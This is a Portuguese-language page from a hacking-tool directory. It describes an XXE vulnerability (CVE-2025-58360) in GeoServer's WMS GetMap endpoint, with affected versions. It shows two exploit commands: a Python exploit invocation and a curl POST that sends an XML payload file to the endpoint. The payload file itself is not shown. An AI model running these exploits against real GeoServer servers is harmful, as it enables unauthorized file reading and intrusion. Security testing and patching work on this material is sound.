Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/quyenheu/cve-2025-58360
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubquyenheu/cve-2025-58360

CVE-2025-58360

XXE através de um endpoint específico /geoserver/wms operação GetMap - Geoserver

Ver Repositório
63há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-58360

Da versão 2.26.0 até antes da 2.26.2 e antes da 2.25.6, foi identificada uma vulnerabilidade de Entidade Externa XML (XXE). A aplicação aceita entrada XML por meio de um endpoint específico /geoserver/wms, operação GetMap

imagem

Exploit1:

root@kitploit:~
python3 CVE-2025-58360 -u http://example.com

Exploit2:

root@kitploit:~
curl -X POST "http://example.com/geoserver/wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90" -H "Content-Type: application/xml" --data-binary @payload.xml -o output.png
Baixar ferramenta